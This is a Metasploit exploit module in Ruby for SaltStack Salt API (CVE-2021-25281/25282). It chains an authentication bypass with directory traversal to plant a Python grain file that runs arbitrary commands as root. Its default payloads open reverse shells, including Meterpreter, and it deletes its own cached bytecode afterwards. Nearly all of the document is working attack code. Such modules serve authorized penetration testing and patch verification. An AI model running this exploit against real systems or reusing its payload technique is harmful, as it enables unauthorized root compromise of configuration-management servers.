## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'SaltStack Salt API Unauthenticated RCE through wheel_async client', 'Description' => %q{ This module leverages an authentication bypass and directory traversal vulnerabilities in Saltstack Salt's REST API to execute commands remotely on the `master` as the root user. Every 60 seconds, `salt-master` service performs a maintenance process check that reloads and executes all the `grains` on the `master`, including custom grain modules in the Extension Module directory. So, this module simply creates a Python script at this location and waits for it to be executed. The time interval is set to 60 seconds by default but can be changed in the `master` configuration file with the `loop_interval` option. Note that, if an administrator executes commands locally on the `master`, the maintenance process check will also be performed. It has been fixed in the following installation packages: 3002.5, 3001.6 and 3000.8. Also, a patch is available for the following versions: 3002.2, 3001.4, 3000.6, 2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10, 2016.11.6, 2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4, 2015.8.13 and 2015.8.10. This module has been tested successfully against versions 3001.4, 3002 and 3002.2 on Ubuntu 18.04. }, 'Author' => [ 'Alex Seymour', # Original PoC 'Christophe De La Fuente' # MSF Module ], 'References' => [ ['CVE', '2021-25281'], # Auth bypass ['CVE', '2021-25282'], # Directory traversal ['URL', 'https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/'], ['URL', 'https://github.com/Immersive-Labs-Sec/CVE-2021-25281/blob/main/cve-2021-25281.py'] ], 'DisclosureDate' => '2021-02-25', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => :bourne, 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'WfsDelay' => 90, # The master's maintenance process check cycle is set to 60 sec. by default 'SSL' => true # Salt API uses HTTPS by default }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] # Payload visible in log if set to DEBUG or TRACE level } ) ) register_options([ Opt::RPORT(8000), OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new( 'EXTMODSDIR', [ true, 'The Extension Module Directory ("extmods")', '/var/cache/salt/master/extmods' ] ) ]) end def check fun = 'config.values' res = send_request(fun: fun) unless res return CheckCode::Unknown('Target did not respond to check.') end # Server: CherryPy/8.9.1 unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$}) return CheckCode::Unknown('Target does not appear to be running Salt API.') end if res.code == 200 && res.get_json_document['return'] res_json = res.get_json_document['return'].first if res_json&.key?('tag') && res_json&.key?('jid') return CheckCode::Detected('Salt API responded as expected.') end end CheckCode::Safe('Unexpected Salt API response') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(background: true) end end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") @rand_basename = rand_text_alphanumeric(4..12) path = normalize_uri(datastore['EXTMODSDIR'], 'grains', "#{@rand_basename}.py") register_file_for_cleanup(path) cmd.gsub!("'", "\\\\'") data = <<~PYTHON import subprocess def #{rand_text_alpha(6..8)}(): subprocess.Popen('#{cmd}', shell=True) return {} PYTHON send_request(data: data, path: path) vprint_status( "Waiting up to #{wfs_delay} seconds for the Salt maintenance process check "\ 'to trigger the payload (WfsDelay option).' ) end def send_request(fun: 'pillar_roots.write', data: '', path: '') # https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html#post--run json = { 'eauth' => 'auto', 'client' => 'wheel_async', 'fun' => fun } json['data'] = data unless data.empty? json['path'] = "../../../../../..#{path}" unless path.empty? send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'run'), 'ctype' => 'application/json', 'data' => json.to_json ) end def path_exists?(session, path, is_dir: false) if session.type == 'meterpreter' path_exists = begin session.fs.file.stat(path) rescue StandardError nil end if is_dir return !!(path_exists && path_exists.directory?) else return !!(path_exists && path_exists.file?) end else path_exists = session.shell_command_token( "test #{is_dir ? '-d' : '-f'} \"#{path}\" && echo true" ) return !!(path_exists && path_exists =~ /true/) end end def on_new_session(session) payload_instance.stop_handler super # The Python script is being cached in the "__pycache__" directory as a # compiled bytecode file (.pyc). This will need to be deleted to avoid # being executed over and over. path = normalize_uri(datastore['EXTMODSDIR'], 'grains', '__pycache__') if session.type == 'meterpreter' session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') return unless path_exists?(session, path, is_dir: true) files = begin session.fs.dir.entries(path, "#{@rand_basename}*.pyc") rescue StandardError [] end files.each do |file| file_path = normalize_uri(path, file) next unless path_exists?(session, file_path) session.fs.file.rm(file_path) if path_exists?(session, file_path) print_warning("Unable to delete #{file_path}") else print_good("Deleted #{file_path}") end end else return unless path_exists?(session, path, is_dir: true) files = session.shell_command_token( "find \"#{path}\" -maxdepth 1 -type f -name \"#{@rand_basename}*.pyc\"" ) files.each_line do |file| file.chomp! next unless path_exists?(session, file) session.shell_command_token("rm -f \"#{file}\" >/dev/null") if path_exists?(session, file) print_warning("Unable to delete #{file}") else print_good("Deleted #{file}") end end end end end